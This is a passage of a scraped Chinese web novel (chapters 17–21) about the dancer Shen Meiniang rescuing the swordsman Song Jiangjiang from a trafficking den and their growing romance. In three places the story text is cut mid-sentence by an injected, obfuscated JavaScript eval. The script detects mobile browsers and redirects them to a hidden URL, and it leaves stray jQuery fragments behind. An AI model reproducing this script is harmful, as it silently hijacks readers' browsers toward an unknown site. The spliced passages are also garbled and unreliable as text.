偶尔吃不完的剩饭剩菜拿去喂鸡鸭也行,可是这么明晃晃的浪费她忍不了。 “不行。”宋江江还是拒绝。 多盛点倒掉也可以拿去喂鸡喂鸭,让沈美娘尽量多吃点才更重要。 沈美娘皱眉。 她最讨厌浪费粮食的人,忍不住道:“宋江江,你知道耕田犁地多累吗?你知道一场倒春寒就能让全家人的辛苦白费吗?你知不知道一碗不起眼的白粥,是多少人一辈子可能都吃不上的东西?” 宋江江听到沈美娘的话,才真正知道自己错在何处。 “沈娘子,对不起,我不知道你说的这些,我以后不会了。”宋江江诚恳道歉。 沈美娘挑眉:“好吧,看你认错态度好,那我就勉强原谅你吧。” 宋江江又好脾气问:“那你有没有什么想吃的、合你胃口的?你和我说,我去给你做。” “我想吃辛辣的,你能不能做烤肉给我吃,我想吃烤肉了!”沈美娘满眼期待。 宋江江毫不留情拒绝:“不行。” “那做糖葫芦可以吗?我想吃甜的!” “也不行。” “核桃酥山!” “那种冰的凉的,你想都别想。” 沈美娘撅了撅嘴:“哼,这也不许,那也不行,不就只有粥能喝呢?” 她抱住宋江江的手臂撒娇:“小剑客你最好啦,你就给我做点好吃的嘛,我真的好得差不多了,可以吃那些东西了!” 见宋江江不为所动,沈美娘眼珠滴溜溜转了一圈:“那你去给我捉小螃蟹吧?” “小螃蟹?”宋江江像是不知道这种东西怎么吃。 “对啊!”沈美娘比比划划,“我小时候我爹经常到小溪边捉小螃蟹,拿回来炸了蘸椒粉就吃,嘎嘣脆!” “也可以把螃蟹和蛋黄舂碎,做成酱,吃汤面、喝粥都可以就着吃。”沈美娘给宋江江解释。 农家人不好过,想吃肉又吃不上的时候就喜欢这么做。 宋江江闻言思考了一下,摇头拒绝:“螃蟹性寒。” “我好想家啊,我也好想我娘呀,以前我生病我娘都会给我做的,我病都要好了,我就是……”沈美娘说哭就哭。 宋江江也拿沈美娘没办法:“我给你做。” 沈美娘心中狂喜,面上拼命憋着笑。 “不过……你今晚得多吃几口。”宋江江道。 好啊,宋江江都学会讨价还价了。 不过嘛,也不是不能接受。 “小剑客,你这还没和我成婚,就管我这么严呢?以后咱俩真成婚了,我岂不是得被你管死。”沈美娘挑了挑眉。 宋江江听到这话一时没反应过来:“成婚?” “对啊,我那日不是答应你了吗?”沈美娘回想了一下。 宋江江垂下眼睫。 他那日他看沈美娘和叶随相处那般亲密,还以为是她拒绝自己的意思。 原来不是吗? 沈美娘:“我知道了,你该不会以为我喜欢叶随吧?” 也没有。 宋江江知道沈美娘不喜欢叶随,甚至很是厌恶那人。 他只是以为她是在委婉地拒绝自己。 “可是沈娘子如果答应与我成婚的话,为何还要与叶随那般呢?”宋江江不解。 沈美娘脱口而出:“为了荣华富贵啊!” 她练习歌舞、学习礼仪、勾\引男人,一切的一切,都是为了荣华富贵、出人头地。 这是什么很难懂的事情吗? 宋江江:“可是就算是为了荣华富贵,也不一定要靠男人,你可以去经商,去参选宫女……” “我是贱籍。”沈美娘打断了宋江江剩下的话,“宋江江你是不是真的在仙宫里长大,不知道贱籍是什么意思?” “现在这条路,就是对我而言最好的一条路。”沈美娘道。 宋江江锲而不舍:“可是有贱籍为巨商,再捐资换良籍的可能,不是一定要靠攀附他人……” “那先帝的文昭皇后也是贱民出身呢?难道天底下的贱民都能做皇后吗?”沈美娘反问。 不知为何,听到这句话,宋江江诡异地沉默下来,没再和沈美娘吵。 半晌,他说的居然是:“你怎么知道文昭皇后就高兴呢?兴许,她宁愿做贱民,也不想当皇后。” “不想当那就让别人当。”沈美娘直接翻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14955328|160423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了个白眼:“再说,你是文昭皇后,还是你是她肚子里的蛔虫,你就知道她怎么想的?” 宋江江听到她的话,突然红了眼眶。 这下倒让沈美娘不知所措了。 她也没骂宋江江啊?他怎么突然就一副被自己伤透心的样子。 宋江江不再和沈美娘吵,默默拾起碗筷推门走了。 沈美娘看他又是那副蔫蔫的模样,心里有一点担心。 但她就不是低头的人。 沈美娘躺床上想倒头就睡,却怎么也睡不着。 小剑客的性子不该是那么容易生气的人? 就因为她攀附男人他就生气,嫌她没骨气,嫌她没出息? 哼,既然这样,那个小剑客她也不喜欢了。 沈美娘在床上昏昏沉沉躺了一整天。 到了饭点,来给她送饭的不是宋江江,是宝儿。 “宋江江呢?”沈美娘喝了几口粥。 粥应该是宋江江熬的,宝儿做不出这么好吃的粥。 真跟她闹脾气啊,说他几句就连饭都不给她送了。 宝儿:“宋少侠把粥煲好,就出去了。” 沈美娘搅弄勺子的手一顿:“啧,也太禁不得骂了吧?不就说了他两句嘛,就生气跑了。” 这就提剑走人了。 就这样还大言不惭说要娶她。 “你们又吵架呢?”宝儿意外,“人家宋少侠剑都没拿,就拿了木桶和渔网出去,我还以为他去打渔了。” 哦……啊? 宋江江这是去给她捉小螃蟹了。 那看来小剑客就是没生气,至少没那么生气,又或者生着气也会去帮她捉小螃蟹。 好吧,看在他这么乖的份上,等会儿他回来,她还是好好哄哄他好了。 宋江江不在,沈美娘也没那么矫情,几口喝完粥就把碗递给宝儿。 可是等到入了夜,宋江江还是迟迟没回来。 宋江江这是跑了多远,他就算跑到南州城里现买,都该回来了吧? “娘子,你身子还没痊愈,还是进去等宋少侠吧。”青词给沈美娘披了件衣裳。 沈美娘却总觉得哪里不对。 宋江江想法幼稚,人可不傻,不至于捉个螃蟹捉这么久。 沈美娘回想这几日的事情,忽然想起叶随那日踢他那脚。 叶随不是个好心肠的,宋江江又与她走这般近…… “不好,宋江江有危险。”沈美娘反应过来。 她拉上青词就跑,宝儿想跟过来,沈美娘连声阻止:“你别去,就守在家里等我们。” 如果真的是叶随动的手,就不能把宝儿搅和进来。 宋江江对芙蓉谷并不算熟悉,最多也就是去赵娘子家送送东西。 那他知道的芙蓉谷有溪流的地方,很有可能就是那夜她给他跳舞的地方。 “娘子,你慢些。”青词不住劝着。 沈美娘却浑然不觉,她跑得很快,即使被乡间野路上的枝桠、藤刺割破血肉也没停下脚步。 等她赶到小溪旁,看着地上明显的打斗痕迹,和四分五裂的渔网和木桶时,心下顿时就有了答案。 “这……宋少侠是被二公子带走了吗?”青词担心。 沈美娘蹲在地上,辨认湿泥上的脚印,鞋印的纹路她很熟悉。 这是司马府上侍卫们的鞋子留下的。 “对。”她道。 沈美娘的手落在泥上暗红色的痕迹。 她知道这是血,但这是其他侍卫的血,还是宋江江的呢? 沈美娘在溪水里洗了洗手:“走,去救宋江江。” 青词看她这样,没有笑,也没有生气焦急。 看起来沈美娘像是没有多在意宋江江。 但青词上次看到沈美娘这样——是她被送给叶司马的前一晚。 沈美娘……原来竟这般在意那个小剑客。 18. 第18章 宋江江是被叶随的人捂住口鼻,迷晕带走的。 他今日没带剑,又不想打翻好不容易才抓到的小半桶螃蟹,结果却被那些抓他的人给打翻了。 都怪这些人以多欺少,还使阴招用迷药,不然就算是赤身肉搏,他也一定能赢。 等再醒来时,宋江江整个人都被绑住了手脚。 药效还没完全褪去,他眼皮都只能虚虚掀开一点,好在他能听到来来往往说的话。 这里好像是个私下买卖人口的黑市点。 他前些日子进城报官时,那官差不是和他说,那黑店略人的同伙全都抓住了吗? 这南州城是什么豺狼虎豹都盘踞在这里吗?怎的这般多恶人,像是抓不完般。 “这人是良籍,还是男丁,卖了会不会惹什么麻烦?” 宋江江听到那些人嘀嘀咕咕的声音。 “怕什么?就是个护卫罢了,也没什么亲人。这些年不是叶家关照,你们以为你们这些勾当能做到现在?” “是、是……那等天亮,正好出海的商队那边说是差人。” “管你卖到何处去,反正尽快把人弄走就是。” …… 宋江江从这些人的的对话里,很快弄明白了这事十有八/九都是那叶随做的。 他不能坐以待毙。 待药效又轻了许多后,便往在打瞌睡的守卫那边挪去。 他一个跃身就将对方踢晕,立刻用他的剑割开了手上的绳子。 外面的人果然立刻围了进来,宋江江这才发现站在最前面的人,就是之前那家黑店的老板。 宋江江:“是你!” 那黑店老板也是一惊,瞬间又被怒火冲昏头脑:“你这小子几次三番坏我好事,看我不给你点颜色瞧瞧。” “上次在官衙叫你侥幸跑了,这次,可没那么好运气。”黑店老板冷笑。 宋江江这才明白,上次那官差的什么“那些姑娘想亲自言谢”都是假的,那时怕是就想去通知这背后之人捉拿自己。 幸好他素来做好事不留名,才逃过一劫。 这黑市明显是这些人的老巢,人比上次在黑店还要多,宋江江很快败下阵来。 就在宋江江有些体力不支时,突然有人新的一拨人杀入其中。 领头的那个人他认识——是沈美娘身边那个沉默寡言、精通医术的青词姑娘。 沈美娘这是来救她了……吗? 可是青词带的这些人,不像是叶家的护卫。 沈美娘果然如他之前在诗会上猜测的那般,决不仅是叶司马府上一个奴隶那般简单。 沈美娘的人很快占了上风,将整个局面控制住。 等兵戈声停止,沈美娘才徐徐走进来:“叶六,你对叶家人还真是忠心。” 她面色平静,但宋江江从她的语气和动作里,都能感觉到沈美娘对这个地方的讨厌。 这里汗味混杂着血腥味的地方,爱干净的沈美娘肯定很不喜欢这里。 叶六没想到宋江江一个普通护卫,居然会有人护着:“你是谁?” “他是我的人,你说我是什么人?”沈美娘反问。 叶六眼里闪过一丝惊慌,随即笑着打哈哈:“原是叶家的娘子,那咱们不是一家人吗?这人没少坏我好事,叶娘子,你说他是不是该罚?” “我是沈美娘,不是什么叶家人,你也别给我来这套。”沈美娘将叶六一脚踹到地上。 她从小就喜欢跳舞,十二岁以后更是跟着南州城最好的舞姬学跳舞。 她真下死手,一脚把人踢到这辈子下不来床都是可以的。 沈美娘踩着叶六的脸质问:“今夜是谁授意你把他捉来的!” 叶随:“是、是……” “不说是吧?”沈美娘加了力道,“那你今日就代那人死吧。” “我说、我说!是叶随叶二郎。”叶六哆哆嗦嗦招了。 果然是他。 沈美娘这才抬脚,却还是觉得心里那口气不顺。 这个叶六 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“还有……”宋江江握住沈美娘握刀的手,一字一句道,“美娘,我不想你为了这种人脏了自己的手。” 沈美娘听到宋江江的话,沉默了片刻,就将刀扔回给青词。 她定神打量宋江江,见他即使脸上沾了血,眼神也仍就清明澄澈。 似乎是不想她担心,还拼命笑得眉眼弯弯。 “宋江江……”沈美娘伸手擦去宋江江脸上的血。 看到少年的脸又变得干干净净,她无奈认命般笑了笑:“你果然是我冤家。” 宋江江反握住她的手,脸贴着她的手蹭了蹭,笑得愈加开怀。 “不是冤家,我和沈美娘天生一对,是天作之合。” 这个话沈美娘听得懂,说书先生总喜欢用这两个词形容那些故事里的有情人。 她粲然一笑:“这话我倒爱听。” 宋江江和她就是天生一对。 19. 第19章 沈美娘将剩下的事都交给赵大郎和青词处理,她和宋江江先回芙蓉谷去了。 此时还是宵禁时候,进城时是青词带她翻的墙,出城时宋江江又带她翻墙出来。 沈美娘瞧宋江江动作干净利落,颇为欣赏:“小剑客,你还真是一身本事。” 什么都好,不愧是她沈美娘看上的第一个男人。 宋江江有些害羞地低头:“我哪有那么好……” “就是很好!”沈美娘总是很会夸人:“会识文断字、会武功轻功、会做饭洗衣,这不是就很好了吗?” 宋江江听到这话不好意思地挠头。 原来在沈美娘眼里,他居然这般好。 宋江江垂下眼,想起些让他不高兴的回忆:“我爹就不喜欢我,他说我不肖父,还说如果把家业传到我手里,肯定会被我毁掉。” 沈美娘早就发现宋江江不怎么提到他爹,就算偶尔提到也很是讨厌的样子。 结合宋江江说他爹娘和离的事,沈美娘确信宋江江他爹不是个好东西。 沈美娘安慰他:“你爹说的就一定对吗?小剑客你要不内耗才行,就算一千个人都说你不好,你也不要听。” 她自信道:“我就从不听旁人说的话。” “他们说我是猫鬼、祸水,那是嫉妒我好看;说我不守妇道,那是羡慕我大方自在爱活动;就算说我勾引男人……” 沈美娘说到这里停下话来,眼里满是不屑:“要是皇帝、丞相什么的好龙阳、喜娈\童,那些衣冠楚楚、瞧不起我的郎君们啊,说不定脱裤子比我解衣裳还快呢!” 宋江江盯着沈美娘。 眼前的姑娘总有种魔力,只要她说话,就让人的目光全落在她身上。 沈美娘是如此自信、恣意,闪闪发光,让人不由自主就被她鲜活的生命力吸引。 “所以!”沈美娘抓住宋江江的手,与他四目相对,“小剑客,你千万千万不要内耗!唔……你要外耗!你爹爹他是天王老子吗?就算他是,也不用听他的!” 沈美娘坚定重复:“你就是很好!” 她一看就很聪明狡黠的狐狸眼,此刻难得被简单明了的喜欢填满。 宋江江回握住沈美娘的手,应道:“嗯!” 回去的路上,宋江江驾着驴车。 他知道沈美娘今晚劳累了,脱下最外面的衣裳披到她身上:“沈娘子,还要些时候才能到家,你先躺着睡会儿吧。” 宋江江知道沈美娘宝贝她的漂亮衣裳,直接叫她躺下,她肯定会嫌驴车脏。 裹着他的衣裳在外面,沈美娘就不用担心弄脏她的衣裳了。 “不要。”沈美娘把衣裳披回宋江江身上,“我不困。” 这个小剑客真喜欢逞能,就算夏夜算不得冷。 可是他驾着车,只穿薄薄的两件衣裳,说不定就受凉了。 她好不容易把人从黑市救回来,可不想他又生病。 宋江江还想推脱,沈美娘却已经转移了话题:“小剑客,你刚才说你家有家业?” “是。”宋江江道。 沈美娘来了兴趣:“什么家业?你爹做什么的?” 宋江江听到这个问题难得的迟疑了一瞬。 他不想骗沈美娘,可是他的真实身份很有可能会给她带来麻烦,况且……他本来就不打算继续做皇帝“姜颂”了。 他只想做侠客“宋江江”。 “我爹出身官宦世家,是做的大官。”宋江江语气迟疑。 “大官!”沈美娘两眼直放光,“多大的官啊?比刺史还大吗?” “嗯。” “那是不是也比尚书大?” “是。” “那和丞相比呢?” 宋江江听到这句话愣住,半晌,还是点了点头。 沈美娘这般聪慧伶俐,应该能明白他的言下之意吧。 谁知沈美娘看到宋江江还是点头,反而拍了他一下:“小剑客,你当我好哄啊!” “这世上可没有比丞相还大的官了!”沈美娘一副看穿一切的眼神,“你爹爹应该就是个小官吧,不过也没关系,我不嫌弃你。” 若是放在几月前,沈美娘肯定会认为宋江江来历不凡。 可是宋江江这么单纯善良,怎么想都不会是那些复杂高门里的孩子。 宋江江这明明就是少年人想在喜欢的人面前得脸,才夸大父亲的官位。 又或许,宋江江也不知道多大的官才算大官。 说不定和她小时候一样,以为寨子里的族长,就是全天下最大的官了! 宋江江还想辩解,沈美娘却抢先一步开口:“正好,我也不喜欢那些高门子弟。” 听到沈美娘这句话的宋江江沉默,试探问:“为何?” “因为他们都看不起我!”沈美娘毫不犹豫。 她又道:“你以为叶随是喜欢我吗?才不是,他只是看上我的身子,只是喜欢我的脸而已,但他根本就看不起我,也从来没把我当人看过。” “不只是他,叶司马、裴夫人……他们都把我当一只鸟、一条狗、一件将来会送给权贵的礼物看的,但是没人把我当人。”沈美娘纤长的眼睫颤了颤。 “我十二岁时第一次来月事,我疼得死去活来。可是那时候叶司马也不重视我,下人们也苛待我……”沈美娘抱着膝盖,很平静地叙述,“只有宝儿的娘叶大娘不忍心,给我端了一碗红糖水。” 宋江江听到这句话心弦颤了颤。 原来沈美娘待宝儿好,仅仅只是为了一碗红糖水吗? “你是不是觉得红糖水不值钱?”沈美娘像是猜到了宋江江的想法,“不是的,寻常人家得先填饱肚子不被冻死,才会买糖的。” 沈美娘目光平静:“但叶随那时候会欺负我。他以为我是他爹日后的小妾,就故意让人往我的饭里掺石头草灰,逼迫我在一大群世家公子哥面前跳舞。” “当时整个南州城的贵公子都在,但他们也没有一个人会可怜我,都把我当逗乐的玩意儿。”沈美娘突然莞尔一笑,“从那时起,我就知道——” “那些高高在上的王孙公子,是不把人当人看的。” 沈美娘眼里一闪而过恨意。 她后知后觉发现自己已经揉捏了自己的裙角很久了。 宋江江将车停下,握住她的手。 他想安慰沈美娘,却发现在她讲述过往后,什么言语上的慰藉都显得苍白无力。 沈美娘先笑开:“没关系的,都过去了。” 不是的。 她记得每一份恨意,也从未放下。 她想剜下那些凝视她的眼睛,想割掉那些调戏她的舌头,想让他们也体会到被羞辱的滋味。 不过……沈美娘不想让这些阴暗的想法被宋江江知道。 会吓到他的。 “沈美娘。”宋江江第一次喊了她的全名。 沈美娘一时有些没反应过来。 “你不用强颜欢笑。”宋江江红了眼眶,“至少在我面前,你永远不用。” 沈美娘听到宋江江的话,脸上的笑意渐渐褪去。 她也没哭,亦或是感动,只默默看着眼前的少年。 宋江江突然抱住她,应该说是用尽全力般紧紧拥抱她,像是要将她揉进骨血般。 “沈美娘,我昨日也不是生你气。”宋江江解释。 “我确 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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宋江江看着沈美娘眼里真切的歉意和同情。 可就算沈美娘不是那个世界的人又如何呢? 他们其实都不是那个世界的人。 可他们可以听懂彼此说话,也愿意听彼此说话,这就已经足够了。 驴车重新启程,天已将明,空气格外清新,两人都觉得心情格外舒畅。 沈美娘的鬓发被风吹动,她恬淡温柔地偏过头看宋江江。 宋江江有些不自在:“你看我做什么?” 沈美娘在撩人这件事上得心应手:“看我的心上人,怎么就长得这么合我心意。” 她话音刚落,宋江江就如她预料地红了脸。 沈美娘笑意更深:“宋江江,我可是给你通融了哦。” 宋江江:“什么?” “在我的家乡,男孩子都得会用木叶吹情歌,以叶为媒才能博得女儿芳心。难道你会吗?”沈美娘问。 木叶吹奏情歌?这怎么可能呢? 宋江江摇头,正想和沈美娘说他可以学,就听到沈美娘清脆的笑声:“不过嘛,看在你除了不会用木叶吹情歌,别的都还不错,就宽容宽容你啦!” 天尽头翻出微微的白,沈美娘脸上的笑意也能看得愈加清晰。 这次不再是讨好的、被迫的、习惯了的笑意,而是沈美娘真的很欢喜。 她仰起头,大声唱起家乡的歌: “大山的木叶烂成堆,只因小郎不会吹,几时吹得木叶叫,只用木叶不用媒。 高坡上种荞哪用灰,哥妹相爱哪用媒,用得灰来荞要倒,用得媒来惹是非……”① 宋江江能听出来,这是沈美娘上次跳舞时哼的调调。 这次她没有用乡音,是用官话唱的,宋江江也大致听懂了这首歌的意思。 他不会唱歌,只在沈美娘停歇的空隙,答了一句:“哥妹相爱不用媒。” 沈美娘得到回应,笑着继续唱歌,她的歌声嘹亮干净,天也伴着歌声渐渐亮堂起来。 20. 第20章 宋江江身手确实还不错,他身上没什么大伤,就是脸上和小臂上有一些浅伤。 沈美娘本就不是在意什么名节的人,如今两人又算挑明了心意,她当然包揽了给宋江江上药的活。 她给宋江江的脸上擦药,忍不住道:“我就该给那个叶六的脸上也来几刀。” 宋江江这张脸这么好看,如今受了伤,都没以前好看了。 还好青词说,好好用药不会留疤,不然她一定要给那叶六的脸划个稀巴烂。 就是不知道这小剑客怎么搞的,这前被追杀受的重伤好得挺快,这些小伤反而好的慢得很。 感觉他身体像是时好时坏一样。 宋江江知道沈美娘是关心他,笑着安抚她:“没事的,很快就会好。” “还是说,如果没有这张脸,沈娘子就不喜欢我了吗?”宋江江垂眸。 糟糕! 沈美娘这才想起来宋江江是内耗王者。 她连忙“呸”了两声:“怎么会呢?小剑客,我又不是只喜欢你的脸。” 虽然她确实也很喜欢这张脸就是了。 “小剑客你有颗金子一样的心,”沈美娘抱紧宋江江的腰身,“我喜欢的是你这个人。” 沈美娘在宋江江怀里蹭了蹭。 宋江江身体紧绷了一瞬,但没有再像从前那般愣在原地,而是回抱住她。 沈美娘动作轻柔,语气却故作嫌弃:“不过你以后要注意,不要再受伤了。药味好重,熏得我有点难受。” “对……”宋江江下意识想道歉。 沈美娘抬头捂住他的嘴:“不要总说‘对不起’,你怎么总说对不起?” 她想出个好办法:“这不是个好习惯,唔,这样吧……以后你想说‘对不起’,就说‘滚’。” “这样不合适。”宋江江道。 “有什么不合适的!”沈美娘挣脱宋江江的怀抱,负手看他,“宋江江,脾气太好的话,谁都会欺负你,就得狠一点才好!” “你和我学。”沈美娘双手叉腰,横眉冷笑,“滚!” 宋江江看她这样的表情不由呆住。 他发觉沈美娘的一举一动都很吸引她,即使她冷冰冰的模样,自己也一点都不讨厌。 沈美娘以为他是不愿意:“你不学吗?” “滚……”宋江江小声道。 “不够有气势,要大声一点。”沈美娘重复刚才的语气,“滚!” 宋江江深吸一口气:“滚。” “不对不对,不要那么字正腔圆,你又不是教书先生!”沈美娘摇头。 宋江江仔细回想刚才沈美娘的表情动作,还有她教他的要领。 他又想起父皇还在世时训斥臣子的场景。 宋江江敛了敛眸,眼中的笑意被薄怒取代:“滚。” “这就对了!”沈美娘很认真地品评,“声音还是不够大,但是气势很足,要不是我了解小剑客你,我都被你唬到了。” 沈美娘这话不是随口一说,她刚才是真被宋江江吓到了。 她平常自视甚高,也从不认为自己低贱,但久居上位的那种威严她还是模仿不好的。 宋江江刚才的神情和语气,却真的很像那些衣不染尘,不知人间疾苦的贵公子。 “真的吗?那就好!”宋江江听到沈美娘的夸赞立刻笑弯了眉眼。 沈美娘收回刚才的想法。 宋江江……果然还是更像条傻狗。 真的很像她在家乡养的那条大黄,稍微揉揉头陪他玩玩,就会高兴得狂摇尾巴。 沈美娘替宋江江刚擦好药,就听宝儿和她说是叶随来了。 她并不意外,冷静吩咐:“你和二公子说,我还在打扮,还需要些时候才能与他见面。” 前几日她救宋江江时,就知道就算她让青词拿身家性命威胁叶六,让他不敢把实情全盘托出,叶随也肯定会起疑。 沈美娘打开衣柜:“你进去躲躲。” 宋江江看了她一眼,颇为担心:“沈娘子,你可以吗?我……” “没事!叶随很好哄的,你快进去就是了。”沈美娘倒是一点也不担心。 宋江江刚躲进衣柜里,叶随就推门而入:“美娘,我实在是等不及想见你了。” 沈美娘不算惊讶,她知道叶随不会听话等她。 她迎上去:“二公子,怎的又来奴婢这里呢?这若是叫主母知道了,奴婢怕主母训斥公子。” 叶随看沈美娘满心满眼都是她的样子,原本对这人带走宋江江的怒气消散了不少。 美娘的心里就只有她一个人,怎么可能会爱上那么个无权无势的护卫呢? 叶随语气柔了不少:“我听叶六说,你把那宋江江带回来呢?” 沈美娘叫叶六告诉叶随,她是在清晨赶到南州城内救下的宋江江,至于那晚青词和赵大郎等人,叶六一个字都没和叶随提。 叶随只当是宋江江给沈美娘留了线索,叶六等人做事手脚也不够快,才让宋江江逃过一劫,并不知道沈美娘手里有听命于她的人。 但他还是相当介怀沈美娘居然这般看重那宋江江。 “对。”沈美娘柔柔笑着,看起来善良又温柔,“那姓宋的是青词远房亲戚,奴是没有什么亲人了,却想青词能有个亲戚照应。” 她像是松了口气般:“幸好那日赶上了,不然若是真叫他被卖了,奴实在是对不起青词。” 叶随听到沈美娘的话放下心来。 唉,世间怎么会有沈美娘这般好心的姑娘,对谁都如此满是善意。 饶是他浪迹欢场多年,也不由真心怜惜沈美娘。 叶随抱着沈美娘感叹:“美娘,你……唉,不过就是个奴婢和她打秋风的亲戚,你何必如此在意。” 还是怪他的美娘实在太好心肠了。 叶随不生沈美娘的气了,但还是看那姓宋的不顺眼:“那宋江江自己是护院还会被人掠走,我瞧着是个不中用的。美娘还是把他打发走才是。” “可他毕竟是青词的亲戚……既然公子不喜欢,那我改日打发他走就是了。”沈美娘蹙眉道。 叶随就知道沈美娘肯定最爱他。 什么青词、什么姓宋的,美娘才不会为了他们,来惹自己不高兴。 美娘这般体贴他,为他着想,真是比他府中妻妾加起来都好得多。 叶随想起来今日来这里的另一件事,握住沈美娘的手:“美娘,我想了个好法子,咱俩终于可以在一起了。” 沈美娘眼神一亮,像是很好奇:“难道公子是说服主君了吗?” 她当然知道叶随不可能说动叶司马,不由好奇叶随是又想了什么法子。 叶随讪讪一笑:“爹爹那边我实在是无能为力。” 他实在不明白父亲为何在沈美娘这件事上会顽固至此,就是说什么都不肯将沈美娘给自己。 “但是美娘你可以假死,我让人给你做个良籍身份,到时候等你怀了我的孩子,爹爹肯定会点头的。”叶随道。 沈美娘听到叶随这个“好法子”,心中哂笑。 但她面上还是要站在叶随那边否定他的“好法子”:“二公子,以贱冒良可是大罪,若是被人知晓,奴婢死不足惜,可是万一连累您和叶家怎么办?” “府上知道我真实身份的人众多,恐怕很容易就会走漏消息。”沈美娘提醒叶随。 这个叶随是真的没想到这层吗? 沈美娘不相信叶随会蠢到这个地步。 无非是叶随根本就不在意,等他玩腻了自己或者事情东窗事发,只要杀了自己来个死无对证就好。 叶随被沈美娘这么一说,也知道不好再劝下去。 只怪美娘太为他着想了,才会把事情想得这般深,让他的计划落了空。 沈美娘又劝慰了叶随一番,才让他放心离开。 叶随知道沈美娘为他这般着想,那他就只能再去求他爹了。 叶随可没有说动叶司马的本事。 沈美娘送走叶随,才打开衣柜:“小剑客,你没闷坏吧?” 宋江江摇头示意他没事。 他更关心另一件事:“叶随叫你把我打发走,你同意……” 沈美娘这才知道小剑客居然是担心这个:“我可是费了好大力气把你救回来的,你别想那般轻易就走。” 难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14986929|160423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为他这藏不住事的性子,刚才躲在衣柜里憋了那么久都没出声,现在才来问她。 “我嘴上答应叶随,但我到底有没有把你赶走,他也不知道不是。”沈美娘挑眉,“你功夫那么好,躲着点肯定不会被发现。” 宋江江感觉沈美娘这话说的有些奇怪…… 他们将来不是会做夫妻吗?为何要叫他躲着? 但宋江江没有深想,只当沈美娘随口说的,点头应下:“我能做到。” 那些护院的功夫没他一半好,躲他们不成问题。 沈美娘托着腮,夸奖道:“宋江江你真厉害。” “就算你躲不过也没关系,我的人已经把那几个护院的家人都盯住了,他们不会乱说话的。”沈美娘道。 宋江江愕然:“你拿他们家人的性命威胁他们?” “怎么能说是威胁呢?我只是自己也得保命。”沈美娘道。 就算没有宋江江,她为了多一份保证,也迟早要把整个竹屋伺候的人都变成自己人。 他们只要乖乖听话,来日她也不会亏待他们。 宋江江听到沈美娘的话,觉得她说的也有道理。 沈美娘会救素不相识的自己,那她肯定不是滥杀无辜的人。 沈美娘看宋江江又开始皱眉沉思,故意逗他:“你怎么不问问,我刚才怎么不答应叶随的提议?” “沈娘子,怎么不答应呢?”宋江江如沈美娘所想般问她。 她故意继续戏弄宋江江:“我刚才不是都和叶随说了原因吗?怎么?你没认真听我说话?” “我都认真听了!”他急忙辩解,眼底还是疑惑,“沈娘子说的原因,我觉得不大对,沈娘子这般聪慧……我想沈娘子想的话,一定能一辈子都不被人发现以贱冒良。” 沈美娘被宋江江夸得非常舒坦。 这个小剑客——嘴可真甜! “算你不笨!”沈美娘得意洋洋,“那确实不是真正的原因。” 沈美娘走到宋江江身前:“原因之一,我可不想顶着别人名字活一辈子,我就要做沈美娘!” “我都听说书先生说了,很出名、很厉害的人是会被写到史书上的,不仅自己的名字会被写上去,祖宗十八代都会被写上去!”沈美娘眼里盛满夏日的明光。 她眼里满是野心和向往:“我就是想出人头地,我不仅要我活得风风光光,天下人都知道我是谁。等我死了,我也要在史书上留下一笔,我要叫天下人也知道我爹娘、我祖父母、外祖父母们是谁!” “我要千百年后,我的名字还是会被人们谈起!” 夏日的骄阳从斜窗里洒进屋内,明亮、张扬,可到了沈美娘面前,好像骄阳也变得腼腆、逊色了。 沈美娘比骄阳更夺目。 她手里把玩那把折扇,用它点了点宋江江的额头:“至于原因二嘛……” 宋江江的下巴被沈美娘捏住,她颇为苦恼般摇头:“有一个姓宋的小剑客就躲在衣柜里,我怕我要是真答应了,他得内耗到明年去。” 宋江江还没反应过来,就被沈美娘踮起脚吻住唇。 不像上次那般的轻碰,这次沈美娘故意加深了这个吻。 她发现小剑客也不像上次那般青涩。 在短暂的怔愣后,他无师自通般抱紧她的腰肢,热烈而真诚地回应她。 真是做事和做人都格外老实一男人。 吻着吻着沈美娘和宋江江较起劲儿来,她不想比这小剑客先认输,但…… 好吧,她还是得承认,小剑客不愧是剑客,她甘拜下风。 沈美娘推开宋江江,深吸了几口气,才恢复过来。 宋江江倒是看起来一切如常,除了脸变红了,眼神飘忽了,一点都没有喘不过气的感觉。 “你……”沈美娘的反骨又作祟。 她注意到宋江江的唇,立刻想到了该怎么做,故意伸手将他唇上沾上的胭脂抹开:“小剑客,胭脂好吃吗?” 果然,她话刚出口,就看到宋江江脸立刻变得绯红。 沈美娘在少年的怀里,连他剧烈的心跳声都能听得一清二楚。 懂了,这家伙,禁啃,不禁撩。 21、第21章 叶司马的书房内传来一阵争吵声,屋外侍候的下人们都将头低得更低。 “爹!你为何就是不愿意把沈美娘给我?”叶随质问。 他真的是不明白,这全天下又不是只有沈美娘一个美人,为何爹爹就是不肯将沈美娘给他。 叶司马被这个不争气的儿子气到,指着他骂:“你还好意思问我?你再过两年都到而立之年了,却连个明经都还考不中……” 叶随反驳:“我考不考得中明经,跟爹你不把沈美娘给我有什么关系!” “你!”叶司马实在是被这个废物儿子蠢到了。 他指了指天,隐晦道:“你以为爹这么多年,既不把沈美娘给你,也不把沈美娘上献是为了什么?” 